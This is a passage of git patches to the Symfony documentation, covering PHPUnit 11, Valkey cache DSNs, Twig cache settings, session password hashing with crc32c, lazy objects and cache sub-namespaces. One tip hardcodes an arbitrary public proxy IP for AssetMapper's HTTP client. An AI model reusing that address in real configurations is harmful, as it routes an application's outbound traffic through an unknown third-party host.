         public function map(object $source, object|string|null $target = null): object
         {
-            // Delegate the actual mapping to the configured ObjectMapper
+            // delegate the actual mapping to the configured ObjectMapper
             return $this->objectMapper->map($source, $target);
         }
     }
 
-Finally, use your custom mapper service:
-
-::
+Finally, use your custom mapper service::
 
     use App\Dto\LegacyUser;
     use App\ObjectMapper\LegacyUserMapper;
 
     $legacyUser = new LegacyUser();
     $legacyUser->fullName = 'Jane Doe';
-    $legacyUser->status = 'active'; // This will be ignored
+    $legacyUser->status = 'active'; // this will be ignored
 
-    // Instantiate your custom mapper service
+    // instantiate your custom mapper service
     $mapperService = new LegacyUserMapper();
 
-    // Use the map method of your service
+    // use the map method of your service
     $userDto = $mapperService->map($legacyUser); // Target (UserDto) is inferred from #[Map] on LegacyUserMapper
 
-This approach keeps mapping logic centralized within dedicated services, which
-can be beneficial for complex applications or when adhering to specific architectural
-patterns.
+This approach keeps mapping logic centralized within dedicated services, which can
+be beneficial for complex applications or when adhering to specific architectural patterns.
 
 Advanced Configuration
 ----------------------
 
-The ``ObjectMapper`` constructor accepts optional arguments for further customization:
-
-* ``ObjectMapperMetadataFactoryInterface $metadataFactory``: Allows providing a custom metadata factory, as shown in the MapStruct example. Defaults to :class:`Symfony\\Component\\ObjectMapper\\Metadata\\ReflectionObjectMapperMetadataFactory`, which reads ``#[Map]`` attributes directly from source/target classes.
-* ``?PropertyAccessorInterface $propertyAccessor``: An instance of the PropertyAccess component to customize how properties are read from the source and written to the target. Useful for accessing private properties or using getters/setters.
-* ``?ContainerInterface $transformCallableLocator``: A PSR-11 container (service locator) used to resolve service IDs provided in the ``transform`` option of ``#[Map]``.
-* ``?ContainerInterface $conditionCallableLocator``: A PSR-11 container used to resolve service IDs provided in the ``if`` option of ``#[Map]``.
-
-When using the ``ObjectMapperInterface`` service provided by the Symfony framework,
-these dependencies (like the property accessor and service locators for callables)
-are typically configured automatically via the service container.
+The ``ObjectMapper`` constructor accepts optional arguments for advanced usage:
+
+* ``ObjectMapperMetadataFactoryInterface $metadataFactory``: Allows custom metadata
+  factories, such as the one shown in :ref:`the MapStruct-like example <objectmapper-custom-mapping-logic>`.
+  The default is :class:`Symfony\\Component\\ObjectMapper\\Metadata\\ReflectionObjectMapperMetadataFactory`,
+  which uses ``#[Map]`` attributes from source and target classes.
+* ``?PropertyAccessorInterface $propertyAccessor``: Lets you customize how
+  properties are read and written to the target object, useful for accessing
+  private properties or using getters/setters.
+* ``?ContainerInterface $transformCallableLocator``: A PSR-11 container (service locator)
+  that resolves service IDs referenced by the ``transform`` option in ``#[Map]``.
+* ``?ContainerInterface $conditionCallableLocator``: A PSR-11 container for resolving
+  service IDs used in ``if`` conditions within ``#[Map]``.
+
+These dependencies are automatically configured when you use the
+``ObjectMapperInterface`` service provided by Symfony.

From d371dcb3e3d94d13c4ace077bfaf359894aa3c1c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 1 May 2025 14:24:54 +0200
Subject: [PATCH 5610/5766] Use phpunit 11 in Create Framework tutorial

---
 create_framework/unit_testing.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index f935a024b20..9c179cd3152 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -12,7 +12,7 @@ using `PHPUnit`_. At first, install PHPUnit as a development dependency:
 
 .. code-block:: terminal
 
-    $ composer require --dev phpunit/phpunit:^10.0
+    $ composer require --dev phpunit/phpunit:^11.0
 
 Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
 
@@ -21,7 +21,7 @@ Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
     <?xml version="1.0" encoding="UTF-8"?>
     <phpunit
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/10.0/phpunit.xsd"
+        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/11.0/phpunit.xsd"
         backupGlobals="false"
         colors="true"
         bootstrap="vendor/autoload.php"
@@ -212,6 +212,6 @@ Symfony code.
 Now that we are confident (again) about the code we have written, we can
 safely think about the next batch of features we want to add to our framework.
 
-.. _`PHPUnit`: https://docs.phpunit.de/en/10.0/
-.. _`test doubles`: https://docs.phpunit.de/en/10.0/test-doubles.html
+.. _`PHPUnit`: https://docs.phpunit.de/en/11.0/
+.. _`test doubles`: https://docs.phpunit.de/en/11.0/test-doubles.html
 .. _`XDebug`: https://xdebug.org/

From 280cd5a506ee06549d8e072f806208a56dd30d73 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Sun, 11 May 2025 18:15:53 +0200
Subject: [PATCH 5611/5766] [Cache] Mention Valkey is Redis

---
 components/cache/adapters/redis_adapter.rst | 6 ++++++
 configuration/secrets.rst                   | 2 +-
 2 files changed, 7 insertions(+), 1 deletion(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 3362f4cc2db..e029b51b0d3 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -21,6 +21,11 @@ to utilize a cluster of servers to provide redundancy and/or fail-over is also a
     adapter. Additionally, this adapter requires a compatible extension or library that implements
     ``\Redis``, ``\RedisArray``, ``RedisCluster``, ``\Relay\Relay`` or ``\Predis``.
 
+.. note::
+
+   This adapter also works with `Valkey`_ servers and as of Symfony 7.3, you can use the ``valkey[s]:`` schemes
+   instead of the ``redis[s]:`` ones in your DSNs.
+
 This adapter expects a `Redis`_, `RedisArray`_, `RedisCluster`_, `Relay`_ or `Predis`_ instance to be
 passed as the first parameter. A namespace and default cache lifetime can optionally be passed
 as the second and third parameters::
@@ -348,6 +353,7 @@ Supports key rotation, ensuring secure decryption with both old and new keys::
 
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
+.. _`Valkey`: https://valkey.io/
 .. _`Redis`: https://github.com/phpredis/phpredis
 .. _`RedisArray`: https://github.com/phpredis/phpredis/blob/develop/arrays.md
 .. _`RedisCluster`: https://github.com/phpredis/phpredis/blob/develop/cluster.md
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index f717456a22c..285b89d521e 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -311,7 +311,7 @@ The secrets system is enabled by default and some of its behavior can be configu
                 xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
                     http://symfony.com/schema/dic/framework https://symfony.com/schema/dic/framework/framework-1.0.xsd"
             >
-                <framework:config secret="%env(APP_SECRET)%">
+                <framework:config>
                     <framework:secrets
                         vault_directory="%kernel.project_dir%/config/secrets/%kernel.environment%"
                         local_dotenv_file="%kernel.project_dir%/.env.%kernel.environment%.local"

From 8c5f22b3e69142381f9d84dfb4adafab46eb8c1e Mon Sep 17 00:00:00 2001
From: Quentin Devos <4972091+Okhoshi@users.noreply.github.com>
Date: Sat, 10 May 2025 13:25:03 +0200
Subject: [PATCH 5612/5766] [TwigBundle] Describe the new behaviour of
 twig.cache config

Signed-off-by: Quentin Devos <4972091+Okhoshi@users.noreply.github.com>
---
 reference/configuration/twig.rst | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 3c4dc1b30ac..13d0463970a 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -71,7 +71,7 @@ application harder to maintain.
 cache
 ~~~~~
 
-**type**: ``string`` | ``false`` **default**: ``%kernel.cache_dir%/twig``
+**type**: ``string`` | ``boolean`` **default**: ``true``
 
 Before using the Twig templates to render some contents, they are compiled into
 regular PHP code. Compilation is a costly process, so the result is cached in
@@ -82,6 +82,16 @@ is not recommended; not even in the ``dev`` environment, because the
 ``auto_reload`` option ensures that cached templates which have changed get
 compiled again.
 
+Specify the path where the cache should be stored. If set to ``true``, the cache
+defaults to ``%kernel.cache_dir%/twig``. However, if the ``auto_reload`` option is
+disabled and ``%kernel.build_dir%`` is different from ``%kernel.cache_dir%``,
+the cache will instead be stored in ``%kernel.build_dir%/twig``.
+
+.. versionadded:: 7.3
+
+    Support for ``true`` value was added in Symfony 7.3, and it became the default
+    value for this option instead of ``%kernel.cache_dir%/twig``.
+
 charset
 ~~~~~~~
 

From 0ba6600aca5f21dddaeb8d3c68188de10c770b12 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 May 2025 08:06:02 +0200
Subject: [PATCH 5613/5766] Minor tweak

---
 components/cache/adapters/redis_adapter.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index e029b51b0d3..0d099bf66e8 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -8,7 +8,8 @@ Redis Cache Adapter
     :ref:`Symfony Cache configuration <cache-configuration-with-frameworkbundle>`
     article if you are using it in a Symfony application.
 
-This adapter stores the values in-memory using one (or more) `Redis server`_ instances.
+This adapter stores the values in-memory using one (or more) `Redis server`_
+of `Valkey`_ server instances.
 
 Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the
 :doc:`Memcached adapter </components/cache/adapters/memcached_adapter>`, it is not limited to the current server's
@@ -21,11 +22,6 @@ to utilize a cluster of servers to provide redundancy and/or fail-over is also a
     adapter. Additionally, this adapter requires a compatible extension or library that implements
     ``\Redis``, ``\RedisArray``, ``RedisCluster``, ``\Relay\Relay`` or ``\Predis``.
 
-.. note::
-
-   This adapter also works with `Valkey`_ servers and as of Symfony 7.3, you can use the ``valkey[s]:`` schemes
-   instead of the ``redis[s]:`` ones in your DSNs.
-
 This adapter expects a `Redis`_, `RedisArray`_, `RedisCluster`_, `Relay`_ or `Predis`_ instance to be
 passed as the first parameter. A namespace and default cache lifetime can optionally be passed
 as the second and third parameters::
@@ -66,6 +62,11 @@ helper method allows creating and configuring the Redis client class instance us
         'redis://localhost'
     );
 
+.. versionadded:: 7.3
+
+    Starting in Symfony 7.3, when using Valkey servers you can use the
+    ``valkey[s]:`` scheme instead of the ``redis[s]:`` one in your DSNs.
+
 The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a
 password and a database index. To enable TLS for connections, the scheme ``redis`` must be
 replaced by ``rediss`` (the second ``s`` means "secure").

From fcf4ecbd598f66748ee16bd108ee013a444ea285 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 May 2025 08:30:12 +0200
Subject: [PATCH 5614/5766] Minor reword

---
 reference/configuration/twig.rst | 21 +++++++++++----------
 1 file changed, 11 insertions(+), 10 deletions(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 13d0463970a..360309fef8f 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -77,20 +77,21 @@ Before using the Twig templates to render some contents, they are compiled into
 regular PHP code. Compilation is a costly process, so the result is cached in
 the directory defined by this configuration option.
 
-Set this option to ``false`` to disable Twig template compilation. However, this
-is not recommended; not even in the ``dev`` environment, because the
-``auto_reload`` option ensures that cached templates which have changed get
-compiled again.
+You can either specify a custom path where the cache should be stored (as a
+string) or use ``true`` to let Symfony decide the default path. When set to
+``true``, the cache is stored in ``%kernel.cache_dir%/twig`` by default. However,
+if ``auto_reload`` is disabled and ``%kernel.build_dir%`` differs from
+``%kernel.cache_dir%``, the cache will be stored in ``%kernel.build_dir%/twig`` instead.
 
-Specify the path where the cache should be stored. If set to ``true``, the cache
-defaults to ``%kernel.cache_dir%/twig``. However, if the ``auto_reload`` option is
-disabled and ``%kernel.build_dir%`` is different from ``%kernel.cache_dir%``,
-the cache will instead be stored in ``%kernel.build_dir%/twig``.
+Set this option to ``false`` to disable Twig template compilation. However, this
+is not recommended, not even in the ``dev`` environment, because the ``auto_reload``
+option ensures that cached templates which have changed get compiled again.
 
 .. versionadded:: 7.3
 
-    Support for ``true`` value was added in Symfony 7.3, and it became the default
-    value for this option instead of ``%kernel.cache_dir%/twig``.
+    Support for using ``true`` as a value was introduced in Symfony 7.3. It also
+    became the default value for this option, replacing the explicit path
+    ``%kernel.cache_dir%/twig``.
 
 charset
 ~~~~~~~

From 88b4a70dc2c3cd498f7bd69c1511eb9232cda1e8 Mon Sep 17 00:00:00 2001
From: Anton <info@ensostudio.ru>
Date: Sat, 10 May 2025 10:53:28 +0300
Subject: [PATCH 5615/5766] Update asset_mapper.rst

Adds tip about configuration proxy when connection to jsDelivr is failed
---
 frontend/asset_mapper.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 061c4598bfa..a3c4eda2d84 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -225,6 +225,25 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
     `package.json configuration file`_. Try to contact the package maintainer to
     ask them to fix those issues.
 
+.. tip::
+
+    If you get a error like as ``Connection was reset for "https://cdn.jsdelivr.net/npm/...".``,
+    than you can temporaly configure the proxy for connection to the ``jsDelivr`` CDN:
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            http_client:
+                default_options:
+                    proxy: '185.250.180.238:8080'
+                    # If you use CURL, add extra options:
+                    extra:
+                        curl:
+                            # 61 is value of constant CURLOPT_HTTPPROXYTUNNEL
+                            '61': true
+
 Now you can import the ``bootstrap`` package like usual:
 
 .. code-block:: javascript

From 621b57b99e822f049e8af80240f5525ef665cfa7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 May 2025 09:15:23 +0200
Subject: [PATCH 5616/5766] Minor tweak

---
 frontend/asset_mapper.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index a3c4eda2d84..94362b217ef 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -227,8 +227,9 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
 
 .. tip::
 
-    If you get a error like as ``Connection was reset for "https://cdn.jsdelivr.net/npm/...".``,
-    than you can temporaly configure the proxy for connection to the ``jsDelivr`` CDN:
+    If you see a network error like *Connection was reset for "https://cdn.jsdelivr.net/npm/..."*,
+    it may be caused by a proxy or firewall restriction. In that case, you can
+    temporarily configure a proxy to connect to the ``jsDelivr`` CDN:
 
     .. code-block:: yaml
 
@@ -238,7 +239,7 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
             http_client:
                 default_options:
                     proxy: '185.250.180.238:8080'
-                    # If you use CURL, add extra options:
+                    # if you use CURL, add extra options:
                     extra:
                         curl:
                             # 61 is value of constant CURLOPT_HTTPPROXYTUNNEL

From ca203cfe621fac81b29b3a7f256f14bfbaaa29b7 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Mon, 12 May 2025 10:39:13 +0200
Subject: [PATCH 5617/5766] [Security] Tell about erasing credentials when the
 user is stored in the session

---
 reference/configuration/security.rst |  5 ++++
 security.rst                         | 35 +++++++++++++++++++++-------
 2 files changed, 31 insertions(+), 9 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 6f4fcd8db33..72970a845d8 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -53,6 +53,11 @@ erase_credentials
 If ``true``, the ``eraseCredentials()`` method of the user object is called
 after authentication.
 
+.. deprecated:: 7.3
+
+   Since Symfony 7.3, ``eraseCredentials()`` methods are deprecated and are
+   not called if they have the ``#[\Deprecated]`` attribute.
+
 hide_user_not_found
 -------------------
 
diff --git a/security.rst b/security.rst
index 847f90a1e2c..36b56e115ee 100644
--- a/security.rst
+++ b/security.rst
@@ -193,14 +193,7 @@ from the `MakerBundle`_:
             return $this;
         }
 
-        /**
-         * @see UserInterface
-         */
-        public function eraseCredentials(): void
-        {
-            // If you store any temporary, sensitive data on the user, clear it here
-            // $this->plainPassword = null;
-        }
+        // [...]
     }
 
 .. tip::
@@ -2786,7 +2779,31 @@ object) are "compared" to see if they are "equal". By default, the core
 your user will be logged out. This is a security measure to make sure that malicious
 users can be de-authenticated if core user data changes.
 
-However, in some cases, this process can cause unexpected authentication problems.
+Note that storing the (plain or hashed) password in the session storage can be seen
+as a security risk. In order to address this risk, the ``__serialize()`` magic method
+can be implemented on the user class to filter out the password before storing the
+serialized user object in the session.
+Two strategies are supported while serializing:
+
+#. Removing the password entirely. In this case, ``getPassword()`` will return ``null``
+   after unserialization and Symfony will refresh the user without checking the
+   password. Use this strategy if you store plaintext passwords (not recommended.)
+#. Hashing the password using the ``crc32c`` algorithm. In this case Symfony will
+   compare the password of the refreshed user after crc32c-hashing it. This is a good
+   strategy if you use hashed passwords since it allows invalidating concurrent
+   sessions when a password changes without storing the password hash in the session.
+
+   Here is an example of how to implement this, assuming the password is found in a
+   private property named ``password``::
+
+       public function __serialize(): array
+       {
+           $data = (array) $this;
+           $data["\0".self::class."\0password"] = hash('crc32c', $this->password);
+
+           return $data;
+       }
+
 If you're having problems authenticating, it could be that you *are* authenticating
 successfully, but you immediately lose authentication after the first redirect.
 

From 51200b2758387d9ef9ef6d689f3e750e3881fbf8 Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Mon, 12 May 2025 11:08:17 +0200
Subject: [PATCH 5618/5766] [Security] [Best practices] Remove mention of
 `anonymous`

---
 best_practices.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 2c393cae9c6..b887d4d289a 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -362,10 +362,6 @@ Unless you have two legitimately different authentication systems and users
 (e.g. form login for the main site and a token system for your API only), it's
 recommended to have only one firewall to keep things simple.
 
-Additionally, you should use the ``anonymous`` key under your firewall. If you
-require users to be logged in for different sections of your site, use the
-:doc:`access_control </security/access_control>` option.
-
 Use the ``auto`` Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 33bd9a8976e2b25fa909a16695a0dcb5ab9cefd4 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Mon, 12 May 2025 12:14:44 +0200
Subject: [PATCH 5619/5766] Update doc about lazy objects

---
 components/var_exporter.rst         | 42 +++++++++++++++++++++++++++--
 service_container/lazy_services.rst |  8 ------
 2 files changed, 40 insertions(+), 10 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index fc6b34868db..dc83763d579 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -177,8 +177,34 @@ populated by using the special ``"\0"`` property name to define their internal v
         "\0" => [$inputArray],
     ]);
 
-Creating Lazy Objects
----------------------
+Creating Lazy Objects on PHP ≥ 8.4
+----------------------------------
+
+Since version 8.4, PHP provides support for lazy objects via the reflection API.
+This native API works with concrete classes. It doesn't with abstracts nor with
+internal ones.
+
+This components provides helpers to generate lazy objects using the decorator
+pattern, which works with abstract or internal classes and with interfaces::
+
+    $proxyCode = ProxyHelper::generateLazyProxy(new \ReflectionClass(SomeInterface::class));
+    // $proxyCode should be dumped into a file in production envs
+    eval('class ProxyDecorator'.$proxyCode);
+
+    $proxy = ProxyDecorator::createLazyProxy(initializer: function (): SomeInterface {
+        // [...] Use whatever heavy logic you need here
+        // to compute the $dependencies of the proxied class
+        $instance = new SomeHeavyClass(...$dependencies);
+        // [...] Call setters, etc. if needed
+
+        return $instance;
+    });
+
+Use this mechanism only when native lazy objects cannot be leveraged
+(or you'll get a deprecation notice.)
+
+Creating Lazy Objects on PHP < 8.3
+----------------------------------
 
 Lazy-objects are objects instantiated empty and populated on-demand. This is
 particularly useful when you have for example properties in your classes that
@@ -193,6 +219,12 @@ you implement such mechanism easily in your classes.
 LazyGhostTrait
 ~~~~~~~~~~~~~~
 
+.. deprecated:: 7.3
+
+   ``LazyGhostTrait`` is deprecated since Symfony 7.3; use PHP 8.4's native lazy
+   objects instead (note that using the trait with PHP < 8.4 triggers no deprecation
+   to help with the transition.)
+
 Ghost objects are empty objects, which see their properties populated the first
 time any method is called. Thanks to :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait`,
 the implementation of the lazy mechanism is eased. The ``MyLazyObject::populateHash()``
@@ -273,6 +305,12 @@ of :ref:`Virtual Proxies <var-exporter_virtual-proxies>`.
 LazyProxyTrait
 ~~~~~~~~~~~~~~
 
+.. deprecated:: 7.3
+
+   ``LazyProxyTrait`` is deprecated since Symfony 7.3; use PHP 8.4's native lazy
+   objects instead (note that using the trait with PHP < 8.4 triggers no deprecation
+   to help with the transition.)
+
 The purpose of virtual proxies in the same one as
 :ref:`ghost objects <var-exporter_ghost-objects>`, but their internal behavior is
 totally different. Where ghost objects requires to extend a base class, virtual
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 23d76a4cfbf..abb3c2cca7f 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -26,9 +26,6 @@ until you interact with the proxy in some way.
     Lazy services do not support `final`_ or ``readonly`` classes, but you can use
     `Interface Proxifying`_ to work around this limitation.
 
-    In PHP versions prior to 8.0 lazy services do not support parameters with
-    default values for built-in PHP classes (e.g. ``PDO``).
-
 .. _lazy-services_configuration:
 
 Configuration
@@ -78,11 +75,6 @@ same signature of the class representing the service should be injected. A lazy
 itself when being accessed for the first time). The same happens when calling
 ``Container::get()`` directly.
 
-To check if your lazy service works you can check the interface of the received object::
-
-    dump(class_implements($service));
-    // the output should include "Symfony\Component\VarExporter\LazyObjectInterface"
-
 You can also configure your service's laziness thanks to the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute.
 For example, to define your service as lazy use the following::

From 8459dff249cf3e83ad19957a9bf9664e0e7411e2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 May 2025 15:42:25 +0200
Subject: [PATCH 5620/5766] Minor tweaks

---
 reference/configuration/security.rst | 15 +++++++++++-
 security.rst                         | 36 +++++++++++++++-------------
 2 files changed, 34 insertions(+), 17 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 72970a845d8..c8609c20c9c 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -51,7 +51,20 @@ erase_credentials
 **type**: ``boolean`` **default**: ``true``
 
 If ``true``, the ``eraseCredentials()`` method of the user object is called
-after authentication.
+after authentication::
+
+    use Symfony\Component\Security\Core\User\UserInterface;
+
+    class User implements UserInterface
+    {
+        // ...
+
+        public function eraseCredentials(): void
+        {
+            // If you store any temporary, sensitive data on the user, clear it here
+            // $this->plainPassword = null;
+        }
+    }
 
 .. deprecated:: 7.3
 
diff --git a/security.rst b/security.rst
index 36b56e115ee..82f26957f02 100644
--- a/security.rst
+++ b/security.rst
@@ -2779,22 +2779,21 @@ object) are "compared" to see if they are "equal". By default, the core
 your user will be logged out. This is a security measure to make sure that malicious
 users can be de-authenticated if core user data changes.
 
-Note that storing the (plain or hashed) password in the session storage can be seen
-as a security risk. In order to address this risk, the ``__serialize()`` magic method
-can be implemented on the user class to filter out the password before storing the
-serialized user object in the session.
-Two strategies are supported while serializing:
-
-#. Removing the password entirely. In this case, ``getPassword()`` will return ``null``
-   after unserialization and Symfony will refresh the user without checking the
-   password. Use this strategy if you store plaintext passwords (not recommended.)
-#. Hashing the password using the ``crc32c`` algorithm. In this case Symfony will
-   compare the password of the refreshed user after crc32c-hashing it. This is a good
-   strategy if you use hashed passwords since it allows invalidating concurrent
-   sessions when a password changes without storing the password hash in the session.
-
-   Here is an example of how to implement this, assuming the password is found in a
-   private property named ``password``::
+Storing the (plain or hashed) password in the session can be a security risk.
+To mitigate this, implement the ``__serialize()`` magic method in your user class
+to exclude or transform the password before storing the serialized user object
+in the session.
+
+Two strategies are supported:
+
+#. Remove the password completely. After unserialization, ``getPassword()`` returns
+   ``null`` and Symfony refreshes the user without checking the password. Use this
+   only if you store plaintext passwords (not recommended).
+#. Hash the password using the ``crc32c`` algorithm. Symfony will hash the password
+   of the refreshed user and compare it to the session value. This approach avoids
+   storing the real hash and lets you invalidate sessions on password change.
+
+   Example (assuming the password is stored in a private property called ``password``)::
 
        public function __serialize(): array
        {
@@ -2804,6 +2803,11 @@ Two strategies are supported while serializing:
            return $data;
        }
 
+.. versionadded:: 7.3
+
+    Support for hashing passwords with ``crc32c`` in session serialization was
+    introduced in Symfony 7.3.
+
 If you're having problems authenticating, it could be that you *are* authenticating
 successfully, but you immediately lose authentication after the first redirect.
 

From e899545ee62e4954ef4d35d06f46a42e5b659df5 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Mon, 12 May 2025 16:18:59 +0200
Subject: [PATCH 5621/5766] [Cache] Tell about namespace-based invalidation

---
 components/cache.rst | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

diff --git a/components/cache.rst b/components/cache.rst
index 4873fb7abc7..e2bce1cf812 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -84,6 +84,33 @@ generate and return the value::
     Use cache tags to delete more than one key at the time. Read more at
     :doc:`/components/cache/cache_invalidation`.
 
+Creating Sub-Namespaces
+-----------------------
+
+All cache adapters provided by the component implement the
+:method:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface::withSubNamespace` method
+from the :class:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface`.
+
+.. versionadded:: 7.3
+
+   Support for ``NamespacedPoolInterface`` was added in Symfony 7.3.
+
+This method allows namespacing cached items by transparently prefixing their keys::
+
+    $subCache = $cache->withSubNamespace('foo');
+
+    $subCache->get('my_cache_key', function (ItemInterface $item): string {
+        $item->expiresAfter(3600);
+
+        return '...';
+    });
+
+In this example, cache item keyed ``my_cache_key`` will be transparently stored within
+the cache pool under a logical namespace called ``foo``.
+
+Sub-namespacing allows implementing namespace-based cache invalidation, where the name
+of a namespace is computed by hashing some context info.
+
 .. _cache_stampede-prevention:
 
 Stampede Prevention

From daad10ca8112f82376deb6cfe5e3e6790de0a2df Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 13 May 2025 09:12:55 +0200
Subject: [PATCH 5622/5766] Tweaks

---
 components/cache.rst | 23 ++++++++++++++---------
 1 file changed, 14 insertions(+), 9 deletions(-)

diff --git a/components/cache.rst b/components/cache.rst
index e2bce1cf812..3c124c7d85e 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -87,14 +87,13 @@ generate and return the value::
 Creating Sub-Namespaces
 -----------------------
 
-All cache adapters provided by the component implement the
-:method:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface::withSubNamespace` method
-from the :class:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface`.
-
 .. versionadded:: 7.3
 
-   Support for ``NamespacedPoolInterface`` was added in Symfony 7.3.
+   Cache sub-namespaces were introduced in Symfony 7.3.
 
+All cache adapters provided by the component implement the
+:class:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface` to provide the
+:method:`Symfony\\Contracts\\Cache\\NamespacedPoolInterface::withSubNamespace` method.
 This method allows namespacing cached items by transparently prefixing their keys::
 
     $subCache = $cache->withSubNamespace('foo');
@@ -105,11 +104,17 @@ This method allows namespacing cached items by transparently prefixing their key
         return '...';
     });
 
-In this example, cache item keyed ``my_cache_key`` will be transparently stored within
-the cache pool under a logical namespace called ``foo``.
+In this example, the cache item will use the ``my_cache_key`` key, but it will be
+stored internally under the ``foo`` namespace. This is handled transparently for
+you, so you **don't** need to manually prefix keys like ``foo.my_cache_key``.
+
+This is useful when using namespace-based cache invalidation to isolate or
+invalidate a subset of cached data based on some context. Typical examples
+include namespacing by user ID, locale, or entity ID and hash::
 
-Sub-namespacing allows implementing namespace-based cache invalidation, where the name
-of a namespace is computed by hashing some context info.
+    $userCache = $cache->withSubNamespace((string) $userId);
+    $localeCache = $cache->withSubNamespace($request->getLocale());
+    $productCache = $cache->withSubNamespace($productId.'_'.$productChecksum);
 
 .. _cache_stampede-prevention:
 

From 849acdebaae132db61e2ede92be3f2c21718bdfc Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Mon, 12 May 2025 17:08:31 +0200
Subject: [PATCH 5623/5766] [DI] Tell about #[AutowireInline]

---
 service_container/autowiring.rst | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 32688fd4921..d76622db281 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -862,6 +862,38 @@ typed properties:
             }
         }
 
+Autowiring Anonymous Services Inline
+------------------------------------
+
+.. versionadded:: 7.1
+
+   The ``#[AutowireInline]`` attribute was added in Symfony 7.1.
+
+Similar to how one can define anonymous services inline using configuration files,
+the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireInline`
+attribute allows declaring anonymous services inline next to their corresponding
+arguments::
+
+    public function __construct(
+        #[AutowireInline(
+            factory: [ScopingHttpClient::class, 'forBaseUri'],
+            arguments: [
+                '$baseUri' => 'https://api.example.com',
+                '$defaultOptions' => [
+                    'auth_bearer' => '%env(EXAMPLE_TOKEN)%',
+                ],
